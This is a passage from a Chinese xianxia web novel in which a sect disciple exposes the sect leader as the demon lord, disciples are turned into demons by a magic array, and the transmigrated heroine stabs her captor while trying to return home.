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白宗主百年修为,现如今能杀他的只有在他修为之上的人,倘若不是靳江浛,那肯定还有我们不知晓的魔族存于世间。”
姚钰君又道。
白英空看完尸体后,将棺材板盖了回去。
临走前,白英空问姚钰君还有没有脆枣,姚钰君将脆枣都拿出来,“就剩五个。”
白英空将五个全都拿走,还道:“没收了。”
对此,姚钰君对白英空有了评价,只有四个字———不是好人!
穆净殿外,白英空站在外面喊:“宗主,弟子有要事禀告!”
哗的一声,殿门大开,白英空走进大殿,穆净依旧坐在席垫上泡茶。
“何事?”
白英空屈膝想要跪地,由于身上有伤,他跪得十分艰难,穆净看不下去了,施法缓解了他身上的伤痛。
白英空只见面前宗主的手轻轻一挥,自己身上就不痛了,他很是感激,但他还是跪了下去。
跪着更显得白英空是来请罪的。
“弟子失责,识人不清,竟不知自己的师弟靳江浛就是魔族,也不知鬼石也在他的身上。”
穆净无语,白英空怎么老把过错揽在自己身上?搞得她都有些不好意思。
“就是那个武试第一,文试倒数的靳江浛?”穆净淡淡开口。
“正是。”
穆净佯装失落叹气:“哎,这也不能全怪你,我也没料到他是魔族。”
白英空眸光闪动,姚钰君并未告知诸位宗主靳江浛的事,净宗主怎么一点儿都不意外?
他接着说:“宗主,弟子有一事不明白。”
穆净莫名觉得脑仁疼,她揉了揉太阳穴:“说。”
“之前宗主交于弟子的法器指针为何从未指向靳江浛过?弟子并非质疑宗主,只是弟子不明白这是为何。”
白英空抬头直视穆净,眼神中有疑惑,还有探究。
穆净接触到他的目光后笑了,笑得有些诡异:“或许是靳江浛用什么法子掩盖住了呢?”
白英空离开宗主宫殿,他隐隐猜测出了些什么。
靳江浛能准确说出法器是用来寻找魔力的,他是猜测出来的,还是本就知晓?
白英空记得他们在安宁村时,指针指向了阿鸢所乘的花轿,阿鸢并非魔族,指的只能是她身上的夺魂咒,而夺魂咒是魔族术法。
游南城内,指针也指向了堕魔的菊花妖身上。
那净宗主为何说这法器是探寻鬼石的?鬼石魔力与魔气相同吗?
倘若靳江浛说的是真话,那净宗主就骗了他。
白英空突然想到那夜他看见的红鞋,倘若她全身穿红也就罢了,可为何要着素衣穿红鞋呢?
宗主平日里好像也不这样。
后半日,白英空开始偷偷打听穆净的事情,这还真给他打听到了。
穆净这人神龙见首不见尾,每次寻她寻不到,有时总看见她手里捧着一只白猿在宗门里四处逛,悠闲得很。
关于红鞋,有弟子瞧见过。
白宗主死后的那一段时间里,穆净看起来并不伤心,还穿着红鞋晃悠,醒目得很。
而且也没人知晓穆净的武器是什么。
白英空心中有一个猜想,但他需要去证实。
68. 巴掌
魔域———
今日是岁忆谙被关在魔域的第二日,她除了不能离开魔域,其余什么事情都能做。
只不过岁忆谙一直将自己关在房内,她没有压制自己的情绪,而是将房内的东西都砸了个遍,以此泄愤,最后房内除了一张床空无一物。
一日三餐都是柳微晴送来,岁忆谙一口未动。
华屿山也被放了出来,说来给岁忆谙诊病。
岁忆谙谁都不见,靳江浛实在没有法子,便喊来黎绕月。
“谙,你在里面吗?”
岁忆谙本不想开门,但一想到门外是女主,还是把门打开,将黎绕月迎了进来。
黎绕月手上端着木盘,盘中放着饭菜。
“谙,听说你好久都没吃东西了,人不能饿着肚子,就算你想离开,也得吃饱了充满力气不是吗?”
黎绕月看了眼空空如也的房内,随手变出了桌椅,将饭菜放到桌上,拉着岁忆谙坐下。
“黎绕月,你今日前来只是来劝我吃饭的吗?”岁忆谙直问出声。
黎绕月笑了笑,眼中透露出幸福,她道:“我要与裴汔成婚了,婚期就定在八月初一。”
这算是岁忆谙这几日听到的唯一一个好消息了。
“恭喜。”
岁忆谙真心恭贺,她也没料到自己笔下的女主竟然会另嫁他人,没关系,只要黎绕月幸福,嫁谁都好。
“这是喜帖,八月初一那日你一定要来。”黎绕月从怀中掏出红色的喜帖放在桌上。
岁忆谙拿过帖子翻开,上面用鎏金墨写着两人的名字,她笑着说:“我会去的。”
“吃饭吧,要是不合胃口,我再去换。”
“合胃口的,多谢你了。”
其实岁忆谙并没有什么胃口,但在黎绕月的监督下,还是象征性地吃了两口。
在吃饭过程中,岁忆谙不止注意到了黎绕月的视线,还注意到了门外的视线。
“你们在门外看什么呢?”岁忆谙将筷子撂下,她忍不住出声。
门外的柳微晴听见后,与华屿山对视一眼,纠结着谁先进去,最后还是站在一旁的裴汔率先走进。
“岁姑娘,听闻你昏倒了,我来给你把把脉。”华屿山背着药箱进来,坐上木椅。
“好吧。”岁忆谙将饭挪到一边,伸出手。
华屿山没料到岁忆谙那么配合,他给岁忆谙的手腕盖上帕子,然后认真把脉。
“心火旺盛,忧虑过度,这气呀,还是得发泄出来才好。”华屿山说。
“要我开药吗?”
岁忆谙眉眼低垂,尽显伤心苦涩之态,她收回手,悲哀出声。
“不必了,太苦。”
其余四人互相对视,华屿山撩起袖子,拉过裴汔的手,说:“来都来了,我给你把个脉看看。”
刚搭上脉搏几秒,华屿山就拧起了眉,神情凝重,黎绕月看得心里紧张。
裴汔牵起她的手安抚。
房内寂静,华屿山一直没开口,其余人也不敢说话。
“啊!恭喜恭喜呀!”华屿山高声道。
裴汔追问:“什么恭喜?”
“你有喜了。”华屿山一本正经地说。
看着在场的人神情懵懂,华屿山忍不住笑场。
“扑哧哈哈哈———”
反应过来的裴汔冷着脸径直给了华屿山一拳,华屿山被打得差点从椅子上跌下来。
“也没必要这么用力吧,我只是想缓解一下气氛,让大家开心开心。”华屿山捂着胳膊抱怨。
房内传来爽朗的笑声,接连不断。
一道孤零零的身影站在房外不远处,靳江浛失魂落魄地站在原地,他非常想要走进去陪着岁忆谙一起笑,可他怕岁忆谙不高兴。
双脚来回踱步,靳江浛在犹豫,在纠结,最后他还是抱着一丝希望走过去。
岁忆谙正在听他们将这几日发生的趣事,只不过笑着笑着就瞧见了一个熟悉的人。
脸上的笑容逐渐消失,其余四人是背对着门口的,他们并不知晓靳江浛来了。
见岁忆谙收敛笑容,不知怎得,四人不约而同地停下了说话声,接着齐刷刷向后看去。
靳江浛逆着阳光,身影狭长,他挺直腰板,试图掩盖他的惴惴不安。
岁忆谙毫不客气地开口:“你进来干什么,滚出去。”
此话一出,四人坐立难安,再次对视,都找着借口纷纷出去了。
依旧是裴汔先开口:“我熬的粥开了,我回去看看。”
黎绕月:“我去喝粥。”
华屿山:“我要去给你…………裴汔开药。”
柳微晴:“阳光正好,我去晒太阳了。”
房内恢复安静,一人坐着,一人站着。
靳江浛绕过桌子挪到岁忆谙身边,他低声说:“谙,我错了,你可以打我骂我,但能不能不要伤害自己的身体。”
岁忆谙又是生气,又是不吃饭的,她身体虚弱,醒来后一口未动,靳江浛都急坏了。
“错哪儿了?”
靳江浛不说话,其实他并不认为自己有错,自己不想让岁忆谙离开,那就阻止她离开,难道做自己想做的事情就是错?
说实话,岁忆谙也怕激怒靳江浛后,他会做出对自己更不利的事情来。
岁忆谙心中的火气腾腾往上窜,但她还是耐心劝着,在她面前,靳江浛一直都在服软。
“靳江浛,我就实话跟你说了,我一定会离开的,你困不住我。”
靳江浛沉下脸,嗓音冷厉:“谙,这个世界不好吗?留下来不好吗?”
“不好。”岁忆谙毫不犹豫道。
靳江浛问:“为何不好?住的地方不好?还是吃的不好?还是穿的……”
“你不好。”
岁忆谙打断他的话,随即站起身朝门口走去,她不想在和靳江浛胡搅蛮缠下去。
靳江浛寸步不离地跟在她身后:“谙,你去哪儿?”
“当然是离开这里。”
“不行,你不能走。”靳江浛上前拦下。
高大的身影挡在门前,无形的压迫感令岁忆谙情绪失控,她怒道:“我走不走关你何事?!”
就在两人即将爆发激烈争吵之际,华屿山将悄悄从门口走进来。
他尴尬地说:“我药箱忘拿了,你们先别吵,等我拿一下药箱。”
靳江浛冷冷地瞥了他一眼,用命令的语气说:“收拾完就出去。”
岁忆谙听着就烦,她转身回到椅子边坐下,道:“出去什么?坐下。”
华屿山夹在中间进退两难,他只能默默低下头,将药箱收拾好,
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门外因担心而未走的三人一直在关注屋里的动静。
“出去。”靳江浛又道,语气格外冷淡,漆黑的眸子森冷无比,周身浮现隐隐黑气。
瞬息之间,魔域上空布满乌云,狂风大作,屋外三人暗自惊叹,为了防止靳江浛动手伤人,黎绕月走进房内。
华屿山见势不妙,急忙打圆场:“靳江浛,你别激动。”
岁忆谙提高音量:“坐下!”
靳江浛一直处于动怒边缘,但为了不让岁忆谙害怕,还是硬生生忍了下去。
“都滚出去!”靳江浛眉头紧锁,他将怒火发泄在其余人身上。
“我说坐下!”岁忆谙一拍桌子站起身来,气势丝毫不弱靳江浛。
黎绕月插入两人之间,开口说:“靳江浛,谙被你吓着了…………”
靳江浛并未理会旁人,他的视线也从未在岁忆谙身上挪开过。
剑拔弩张的气氛达到了顶峰,众人放缓了呼吸,试图让两人的怒火平息。
房内的气氛压抑至极,岁忆谙喘不过气,只觉得浑身难受,她呆不下去了。
岁忆谙绕过众人离开,靳江浛追了出去,其余四人实在是拦不住。
长廊上,岁忆谙独自一人在前头走,靳江浛三步并作两步拉住了岁忆谙的手。
岁忆谙尝试摆脱:“你放开我!”
裴汔让黎绕月退后,自己上前擒住了靳江浛的手腕,“靳江浛,你先放开岁姑娘,有话好好说不行吗?”
“你们算什么东西,竟然敢教我做事?!”
靳江浛怒吼,体内的鬼石魔力倾泻而出,闪电划破长空,险些劈上种在殿中的桃花树上。
除了面前的岁忆谙,在场的四人都被汹涌的魔力击退,威力巨大,四人倒地吐血。
岁忆谙面露担忧,她实在是忍不了了,直接一巴掌甩在几乎疯癫的靳江浛脸上。
“你又算什么东西,敢在我面前甩脸子!”
清脆的巴掌声响起,随即而来的是寂静。
四人看呆了眼。
岁忆谙用了十成十的力度,还用上了画符的灵力。
靳江浛的脸被打偏,脸上愕然出现一个红色的巴掌印。
这一巴掌似乎真的把靳江浛给打清醒了,他松开手,正过脸看向岁忆谙。
岁忆谙这才看见靳江浛嘴角渗出的血,她有一瞬惊讶,自己这一巴掌威力这么大?
“清醒了没有?”岁忆谙淡漠地直视他。
靳江浛点头,浑身上下的气势一下子就变了,变得乖巧弱势。
想开口说话却扯到了嘴角的伤口,靳江浛眼眶微红,他捂着脸,委屈巴巴地看着岁忆谙。
岁忆谙无语,刚才还是一副想杀人的模样,现在装成这副样子,好似她才是施暴者。
“你们吵得整个魔域都听见了。”穆净不知何时出现,她懒洋洋地靠在木柱上看戏,手一下又一下地抚摸着白猿。
穆净是被异动吸引过来的,她怎么也没想到这两人能吵得这么激烈,要是再吵下去,魔域怕是要让两人给掀了。
穆净深深地看了两人,又看了看倒在地上的四人,感慨道:“年纪小,玩儿的还挺花。”
“都散了吧,本君这儿又不是菜市场。”
几人离开后,岁忆谙回了房,靳江浛则跪在外头。
69. 用鞭
夜深人静,姚钰君与其他弟子交完了班,走在回弟子卧房的路上,她再一次被人叫住。
“白师兄?”
“姚师妹,你今夜可有空?”白英空特意守在从灵堂回弟子卧房的必经之路。
此话一出,姚钰君心生警惕,像看坏人一样看着白英空,虽然凌仙宗内都传白英空为人踏实可靠,但放人之心不可无。
想到此处,姚钰君果断摇头:“没有。”
“那明日呢?”
“没有。”
“后日?”
“没有。”
白英空见姚钰君那么防备,只能歇了心思,倘若他一直问下去,姚钰君怕是要一直说没有,他叹气:“那我再去寻旁人,叨扰了。”
白英空有些迷茫地走在道上,其实他一直都挺迷茫的,不知晓自己到底该做什么。
嘴上说着要保护天下苍生,但一下山就在为鬼石奔波,苍生没保护到,他自己倒是受了不少伤。
不仅没寻到鬼石,就连杀害亲爹的凶手也没查出来,他都不知自己该做什么了。
而且长老们至今下落不明,生死不知。
白英空来到白宗主的房间,自从他爹死后,这里就空了下来,白英空身为宗主儿子,穆净特意让他住进这里,但他怕睹物思人,便拒绝了。
“爹……英空该怎么办?”白英空来到书房,这里是父子最常见面的地方,却不是谈家长里短的地方。
“英空没有能力保护天下苍生了…………”
白英空神情颓废,他坐上白宗主时常做的椅子,想学他爹一样威风,可他直不起腰身,整个身子瘫软地靠在椅背上。
忽然,白英空看见书桌底下还有一把小小的摇摇椅,他记得这是他爹给他做的。
白英空将摇摇椅拿上桌,轻轻拨动,椅子就顺着弧度一前一后摇起来。
白英空陷入回忆,只不过还未想起什么就被摇摇椅底部的凹槽吸引住了,他把椅子翻过来。
椅子底部有一个长方形的格子,伸手一敲,空洞的声音传来。
白英空将方形木板掀开,里头放着一枚令牌,还有一张纸条。
准确来说是一封信。
白英空将信拆开,他认出了他爹的字迹,信上第一句便是————
[英空,爹是不会在活着的时候让你看到这封信的,所以爹现在很有可能已经死了,也不知你是在爹死后几时才看到的信。]
当白英空看到第一句话时,眼泪就憋不住了,但他一直忍着将整封信看完。
信中大多都诉说着他对白英空幼年的亏欠,没能让他有一个欢快的童年。
[其实你娘并没有死,她早已飞升成仙,成了仙就下不来凡间,爹是个粗人,不懂怎么养小孩,爹也是个无用之人,没能让咱们父子成仙,见不到你娘,你能不能不要怨爹?]
[这枚令牌是宗主令牌,倘若你遇到难处,就拿着这枚令牌去找其他宗主,最起码看在百年前你爹与他们一同除过魔的份儿上,他们会帮助你的。]
看完后,白英空早已泣不成声,他捧着那封信哭了整整一夜。
直到天蒙蒙亮,白英空才整理好仪容仪表离开。
姚钰君今日的任务是看守藏书阁。
“你只需坐在这里,将借书的弟子以及借的古籍记下就好,三楼存放的是禁书,记住,不要让人上去。”
师姐说完注意事宜后,就离开了。
看管藏书阁真是件闲差事,现如今宗门动荡,没多少人来借书。
姚钰君自己找书来看,短短一个月,她几乎要看完了一二楼的所有古籍。
说实话,她对三楼的禁书十分感兴趣,她打算偷偷上去找一本看看。
姚钰君对着翻开的书出神,她在思考自己该怎样上到三楼,一篮子脆枣突然出现在她的视线里,她抬头一看。
又是白英空。
“姚师妹,这是我给你带的脆枣。”
姚钰君有些受宠若惊,她指了指满篮的脆枣,又指了指自己:“都给我?”
接触到姚钰君的视线后,白英空露出一个和蔼的笑容。
“多谢师兄。”
只不过姚钰君伸手刚搭上篮子边缘,白英空又道:“师妹,你能否帮师兄一个忙?”
姚钰君一听,不仅收回了手,还将篮子推远了些,“我早膳吃撑了,这枣还是白师兄自己吃吧。”
“师妹,只是一个小忙而已。”
白英空说出了自己想要做的事,这倒是和姚钰君想做的事撞上了。
藏书阁中并无他人,大门被紧紧关上,两人偷偷摸摸地走上二楼,二楼楼梯到三楼楼梯之间有一扇门,而门的钥匙刚好是白英空刚拿到手的宗主令牌。
两人顺利进入三楼,姚钰君问:“师兄,你为何要看魔族禁书?”
“我想多了解魔族。”白英空随口道。
白英空开始寻找自己想要看的古籍,而姚钰君随手拿起一本看。
“午荒山,魔兽白猿…………”姚钰君喃喃出声,这白猿怎么那么眼熟?
听见声音的白英空凑到姚钰君身边,姚钰君侧头看了他一眼,见他满眼激动,便将书塞到他手里,自己则去看别的书了。
白英空呆愣在原地,白猿是魔兽…………
净惜宗主很可能与魔族勾结,白英空需要试探出她的武器,怎么样才能试探出她的武器呢?
自己去找她打斗?不行,还没近身八成就会被她掀飞了。
“怎么办呢?”白英空艰难地扶着书柜。
姚钰君的注意力从书柜转移到白英空身上,她问:“师兄在想什么?”
“你可知宗主最常用的武器是什么?”
姚钰君摇头,“不知,如果宗主手上有茧,我倒是能看出来她会用什么武器。”
“茧?”白英空沉思。
宗门弟子既会术法,那自然能用术法维持双手的完美,白英空只能祈祷宗主手上有茧。
思绪清晰可见,白英空松了口气,他又问:“你怎对这些事情如此清楚?”
“以前就经常接触,所以知晓很正常。”姚钰君敷衍着,她抽出一本古籍翻看起来。
同化……这世间竟然还有这样的阵法。
姚钰君好奇地翻过一页。
“听闻你刚进宗门时被其他弟子欺负过。”白英空问这句话只是出于对自家师妹的关心。
“这是真事,不过净惜宗主都帮我惩戒过他们了。”回想起净惜宗主维护她的潇洒身姿,姚钰君就觉得自己来凌仙宗来
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对了。
“你不自己反抗?”
“想过,但我大度。”姚钰君顿了顿,又说,“若他们不依不饶且宗主也没有出手的话,我会反抗的。”
至于怎么反抗,姚钰君自然是往让他们去死的法子想。
两人都得到了自己想要的,离开了三楼后,姚钰君啃着枣继续守着,白英空则去了穆净所在的宫殿。
白英空抱着必死的决心踏进宫殿,他一定要试探出穆净使用的武器。
穆净对白英空的到来感到烦躁,三天两头往她这儿跑,今日还问了些奇怪的问题。
白英空双膝跪地,他不卑不亢道:“昨日弟子在藏书阁发现了一本剑谱,宗主可否教弟子剑术?”
穆净凝视着白英空,起初她还不知晓白英空为何来找自己,可当她看见白英空眼底的探究以及恨时,她恍然大悟。
于是,穆净直言道:“我不会用剑。”
“可弟子分明瞧见宗主虎口处生了茧。”白英空抬眼,盯着穆净抚摸白猿的手,嗓音冷了几分。
穆净顺着白英空的视线看去,右手虎口处真的有茧,她疑惑。
虎口怎么生茧了?她最近有耍鞭子吗?
“这是用鞭留下来的。”穆净笑道。
白英空猛地对上穆净的眼神,她的眼中是赤裸裸的猖狂,还有对自己的嘲笑。
穆净似乎怕白英空脑子愚笨,反应不过来,又说:“白英空,”
穆净到现在都还未将冰棺移走的原因,就是为了让白英空找出杀人凶手。
白英空愣住,挺直的身板渐渐弯下,心中绝望愤恨交织,浑身颤抖。
“多谢宗主赐教,弟子告退。”
白英空强忍着这些情绪说完,不等穆净回话,他站起身头也不回地走出大殿。
穆净望着白英空慌乱的背影,低声说:“可别让我等太久。”
出了大殿的白英空只剩愤怒,杀人凶手就在面前,他无能为力,要怨就怨他实力不济,修为不高。
白英空断了自己的佩剑,将凌仙宗出现魔族的事情告知其余仙门。
虽然宗主令牌在手,但白英空并不觉得这些弟子会听自己的话,要是长老们在就好了。
兴许是上天听到了白英空的内心所想,那几位失踪许久的长老竟然出现在了他的面前。
几人衣衫破烂,花白的头发跟鸡窝一样。
半个时辰前,月蛇妖洲蛇口大牢中,长老们不再坐以待毙,哪怕消耗掉全身修为他们都要离开这里。
结果即将施法之际,石长老独自一人耗光全部修为破开了结界。
没有法力维持,石长老瞬间衰老,本就长满皱纹的脸以肉眼可见的速度耷拉了下来。
其他长老施法维持石长老的性命,以为接下来的出逃会困难重重,没想到离开月蛇妖洲的过程十分顺利。
白英空看向被搀扶着的石长老,见人还活着便松了口气,他拿出宗主令牌,将自己所猜测的事情诉说一番。
话音刚落,穆净就出现了,她从天而降,周身是毫不遮掩的魔气。
“英空,去召集弟子除魔。”其中一位长老吩咐道。
白英空应声离去。
“净惜,你是想魔族像百年前那样被众仙门围剿吗?”
70. 万灵镇魂
提到百年前,穆净原本懒散的神态消失殆尽,她的眼神无比阴森,就像是一条狠辣的毒蛇。
手中的白猿察觉到主人的情绪,它跳了下来,绕到穆净身后,再出来时,就变回了原样。
众人仰头看着三米高的白猿,脚步忍不住往后倒退。
穆净呵笑:“今非昔比,谁输谁赢还不一定,本君今日便让你们仙做不成,人也做不得!”
话落,白猿朝对面吼了一声,吼出的狂风吹得几人踉跄倒退。
穆净站在对面,她在等待,等待白英空将众弟子召集在此处。
几人惊慌。
巨大的脚步声从远处响起,众弟子跟随白英空而来。
姚钰君也在里头,她并未想到帮助过她穆净是魔,都说魔族作恶多端,那帮过她的穆净也是吗?
她有些不相信。
晃神之际,远处的穆净开口了。
“在此之前,为了防止你们不认识自己的主人,本君就先介绍一下自己。”
“你到底是谁?!”白英空问。
“魔域在本君掌控之中,你说本君是谁?”穆净随意摊手。
穆净虽然穿着一身白色长袍,但她站姿端正,眼神轻蔑,气势压过了在场的所有人,尽显帝王之态。
其中一个长老开口:“你真会给自己脸上贴金,只不过是当年逃出来的小小魔族而已,仗着魔域无人,竟占山为王,真是可笑。”
穆净斜睨一眼,高声道:“记住了,本君真名穆净,先父穆泉便是众魔之主,本君只不过是子承父业而已。”
“这魔主之位本就是我的,新的众魔之主也只能是我。”穆净霸气侧漏,不怒自威。
“魔就是魔,人人得而诛之!”
穆净不耐烦地一眼扫去,说话的长老被吓得闭上了嘴。
要不是留着他们还有用,穆净早就弄死他们了。
见人都到齐,穆净便打算实施自己的计划,她的左脚往侧点了一步,脚尖点到的位置瞬间出现红光。
一个法阵出现在地面上,法阵逐渐扩大,蔓延至众人脚下。
弟子并不知晓这是什么东西,他们缩在一起,看着散发出诡异红光的法阵,众人陷入恐慌之中。
几位长老同样不认识这个法阵。
唯独站在边上的姚钰君脸色大变,她飞身退出法阵范围,嘴上喊道:“快离开!”
姚钰君认出了这个法阵上的符纹,是同化咒,此阵一开,他们就不再是人了,只可惜无人动弹。
昨日姚钰君看的禁书里就记助了这个同化咒,她记住了。
穆净冷漠地看着姚钰君的举动,她淡淡道:“来不及了。”
法阵已开,同化咒生效,阵中之人是离不开这个法阵的,除非是魔,而他们也只能在阵中等待自己成魔。
这个阵与之前岁忆谙见到的不同。
此阵融入了靳江浛的血。
红光照耀着整座凌仙宗,法阵中的弟子逐渐被阵中的魔血侵蚀。
姚钰君记得克制同化咒的术法,但是她从未试过,也不知能否救下他们。
现如今,姚钰君只能试一下了,她按照记忆中的方法掐诀念咒。
“改身逆天,万灵镇魂,事事如常,以克魔邪!”
姚钰君的声音铿锵有力,话音落下,空气中的灵气汇聚法阵之上,原本红光乍现的法阵瞬间黯淡,阵中的弟子终于能够挣扎,只不过他们依旧逃离不了法阵。
凌乱的风中,姚钰君衣袖鼓动,发丝在空中飞舞,她孤身一人站在法阵之外,用尽灵力与同化咒对抗。
穆净挑眉,有些诧异地看着姚钰君,她记得梦中的姚钰君可是杀了凌仙宗不少人。
姚钰君刚入凌仙宗的时候还被其他弟子欺负,穆净实在看不过,便帮了她。
穆净不理解姚钰君的举动,不过就凭她的勇气,穆净还是很欣赏她的。
“你一个修炼才两个月的弟子胆子真大,敢独自抵抗本君。”
姚钰君直视穆净,说:“我修为不高,灵力不足,但我想做的事情还没人能拦我。”
“你是救不了他们的,更何况他们之前欺负过你。”穆净实话实说。
弟子们自然听见了穆净说的话,他们纷纷扭头看向姚钰君,心中忐忑,他们生怕姚钰君独自离开。
姚钰君看了眼穆净,笑着说:“魔主,之前多谢你帮我,但我这个人就是善良。”
姚钰君是有仇报仇,有怨报怨的性子,但她就是善良,不然也不会甘愿为凌仙宗赴死。
穆净越发欣赏姚钰君了,真想让她为己所用。
两方僵持着,姚钰君只能延缓弟子魔化的速度,可惜阵中弟子太废物了,这都出不了阵。
阵中,白英空以及诸位长老也在奋力抵抗法阵的束缚,只不过长老们在月蛇妖洲就已耗尽了灵力,齐刷刷倒地不起。
而穆净注意到阵中的白英空,仔细端详,白英空竟然没有被同化为魔族的趋势,真是奇怪。
穆净记得在梦里,白英空和黎绕月打败了靳江浛…………她始终不相信。
白英空虽然是凌仙宗的佼佼者,但自己一根手指头就能碾死他,更别提靳江浛了。
黎绕月更不可能了,她是月蛇妖族,怎么会对魔族下手。
“姚钰君,你快走吧!”白英空出声。
阵中弟子多多少少都已成魔,只有极个别修为高还在苦苦支撑,长老们也都成魔,白英空有些绝望,他的实力还是太弱了,甚至没有姚钰君聪慧。
姚钰君自知无力回天,便收回手,她也没蠢到去攻击穆净,以卵击石,毫无胜算,正当她在思考自己该怎么做时,天边传来一道洪厚严厉的声音。
“小小魔族,休要猖狂!”
紧接着,数百道人影从天边御剑而来,声势浩大,他们从天而降,汹涌的人群训练有素地将穆净围住,泛着寒光的长剑直指向她。
世间仅存的仙门各派可都出现在这里了。
终于来了,白英空终于能喘息一下。
穆净双眸微眯,冰冷的视线扫过众人,人还挺多的,靳江浛的血怕是不够用,早知如此,当初就应该多备些。
在穆净身后一直等待着的白猿腾空而起,它从高处落下,直直砸进人群堆里,人群一哄而散,刚刚列的阵瞬间瓦解。
白猿皮糙肉厚,普通的武器对它根本没用,它左手抓起三个,右手抓起三个,然后像耍杂技一样全都抛向空中,尖叫声此起彼伏。
穆
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净眼见着同化的差不多了,也懒得纠缠下去,她撤去法阵,朝魔化的弟子命令道:“杀了他们。”
魔化的弟子们似乎只靠本能反应,双方开始混战,四个年长的修仙者同时出手。
四把长剑朝穆净袭来,她都躲避过去后,反手甩出长鞭,长鞭在空中灵活地扭动,接着四人身上都挨了一鞭。
正当四人想要反击时,却发现穆净消失了,而白猿一掌挥开挡在它身前的修仙弟子,左手抓起姚钰君,右手抓起白英空,然后跳上屋顶跑了。
四人想去追时,却被魔化的弟子绊住,等到将这些弟子全都绑起来后,白猿早就跑没影了。
魔域———
岁忆谙在房中呆了两日,而靳江浛也在房外跪了两日。
起初靳江浛是在卧房门口跪着的,但岁忆谙一整日都不出来,他怕岁忆谙认为自己在逼她,便跑远了些,在院子里跪着。
黎绕月几人常来陪岁忆谙聊天解闷儿,视线也有在靳江浛身上停留过。
靳江浛倒是不觉得没面子,其余人的想法他并不在意,他只在意岁忆谙的。
岁忆谙偶尔会离开卧房,靳江浛见到她出来就立即跟上去,也不说话,就默默跟着。
等到岁忆谙回卧房时,靳江浛又会回到院子中央跪着。
这日,几人围坐在桌前聊天。
“白英空被抓来了?”岁忆谙惊呼。
那她应该可以找到回家的法子吧,可是零零零被摧毁了,她还能回去吗?
“对,一同被抓来的还有一名女子,好像叫姚钰君。”
岁忆谙再次震惊。
两个主角和两个反派齐聚魔域,有点刺激怎么回事?
想到此处,岁忆谙站起身朝外走去。
“你去哪儿?”黎绕月问。
听见黎绕月的声音,岁忆谙又扭头拉上她,道:“带你去见白英空。”
一直沉默的裴汔听后,诧异地看向岁忆谙,他有些心慌。
几个人风风火火地跟上去,跪在院中的靳江浛还没反应过来,华屿山路过时说:“岁忆谙要去见白英空。”
靳江浛一听,急忙站起身追去。
白英空和姚钰君并没有被关起来,他们站在大殿之上,除了双脚被禁锢在原地,其余什么伤都没受到。
“穆净,你到底想要做什么?!”
白英空语气激动,相反他身侧的姚钰君神情镇定。
“急什么,你看看你的师妹,多冷静。”穆净身子慵懒地靠着椅背,手中抚摸着白猿,眼底都是对白英空的嫌弃。
白英空深呼吸一口气,沉声问:“穆净,你到底想做什么?”
“也没什么,就是想请你们来做客而已。”穆净笑道,笑意不达眼底,她的眼底只有悲伤。
仙魔之间必有一战,此战的爆发只能在魔域,穆净想要复仇,她要用仙门的血来告慰死在魔域的族人。
“谙,你慢些。”靳江浛焦急的话伴随着凌乱的脚步声。
白英空与姚钰君转身看向大殿门口。
岁忆谙一身飘逸的黑红纱裙,长到拖地的裙摆上金光闪闪,织金蝴蝶随着步伐而纷飞着,发间的短流苏在空中摇曳。
她手上还牵着黎绕月。
71. 书写者
将黎绕月拉到白英空身前,两人面面相觑,在场的人都不理解岁忆谙的举动。
裴汔慌乱地走上前,当见到两人站在一处时,他的步伐慢了下来。
听天由命吧。
岁忆谙期待着奇迹的发生,她四处张望,期待大殿上会出现像影视剧中那样的穿越通道,期待一束光出现,自己就能朝着那束光走去。
期待光的尽头就是家。
可惜什么都没发生,四周一片寂静,一点微弱的变化都没有。
“谙,你怎么了?”靳江浛走上前。
书中结局,主角成功击杀反派。
岁忆谙眸子微动,看向身前脸色担忧的靳江浛,她往后倒退几步,面露愧疚。
短短几秒,靳江浛眼中的担心逐渐转为震惊,他缓缓垂头,一把黑石长剑刺入了他的胸膛。
在场的人都被岁忆谙突如其来的举动惊呆了,众人神色各异。
在长剑刺入的那一刻,岁忆谙又受到了主系统的惩罚,她握着剑柄的手都在发抖,连带着剑身跟着抖动。
疼痛不知从身体的哪处开始,有可能是指尖,有可能是眼睛,也有可能是………心。
“谙…………”
靳江浛眼眶发红,他强忍泪水,不解地看向岁忆谙,他在岁忆谙的眼里看到了强烈的期待和隐隐约约的愧疚。
她在期待什么?又在愧疚什么?
靳江浛发现自己真的不懂她,胸膛之处还在作痛,可皮肉之痛远远不及心痛。
管它是什么,岁忆谙想做的事情便让她去做吧。
渗出的鲜血顺着剑身滴落,靳江浛上手握住锋利的剑身,试图往自己体内再刺入几分。
岁忆谙看出了靳江浛的意图,她下意识抽回剑,鲜血随着抽出的动作四溅而出,温热的血液飞到了她的脸上。
岁忆谙被惩罚痛得松了手,沾染主人鲜血的黑石长剑掉落在地。
靳江浛被力道拽得踉跄了一下,他知晓这一剑对岁忆谙的代。
谙现在很痛吧,也不知与他相比起来……谁更痛?
靳江浛走到岁忆谙面前,拉起她的手注入魔力,以此来缓解她的痛。
“谙,你不要生气了好吗?”
岁忆谙深知这一剑对靳江浛来说微不足道,但她还是抱着希望尝试,结果自然是在意料之中。
岁忆谙甩开靳江浛的手,她忍痛抬眸,眼泪夺眶而出,泪水落下,混着靳江浛的血,长长的红痕就像是死寂的血泪。
杀心未灭,岁忆谙没了力气,她强撑地问:“你为何要屠村?”
“你为何要杀零零零?”
“你又为何就是不肯放我离开……”
靳江浛听后,低了下头,接着笑了一声,似是自嘲。
到头来,岁忆谙想着的还是离开,想着的是别人。
气氛沉默,众人不清楚两人之间发生了什么,也不好开口说话。
站一旁的柳微晴真切地感受到了心口处的疼痛,她不适地皱起眉头,身侧的华屿山碰了碰她的手。
一颗丹药落入掌心,柳微晴疑惑看去,华屿山示意她吃下。
华屿山知晓柳微晴的身体状况,这颗丹药可以缓解她的疼痛。
高位上的穆净笑脸盈盈,这两人的爱恨情仇怎么就这么有趣呢?
正当穆净想继续看下去的时候,殿中的靳江浛状态不对,她挑了挑眉。
靳江浛周身的气息疯狂涌动,抬头的那一刻,猩红的双目露出,他彻底抑制不住体内的魔力。
汹涌的魔力爆发,一瞬间,黑气笼罩整座大殿,肆意冲击这殿中的一切。
躺在地上的黑石长剑迅速飞起,环绕在岁忆谙周身,速度快得都飞出了残影。
除了岁忆谙,其余人反应过来后,急忙施法抵挡,脚步不能挪动的白英空与姚钰君被黎绕月护下。
穆净仰头看着即将冲破大殿的魔里,怒骂道:“这个蠢货,是要把本君的大殿给毁了吗?”
刚骂完,一道魔力朝她袭来,穆净侧身躲避,随即闪身出现在大殿之外。
被巨大阵仗吸引过来的南宫浅和流萤惊诧,流萤问:“主上,这是怎么了?”
“靳江浛这个狗东西发疯了。”穆净随口道。
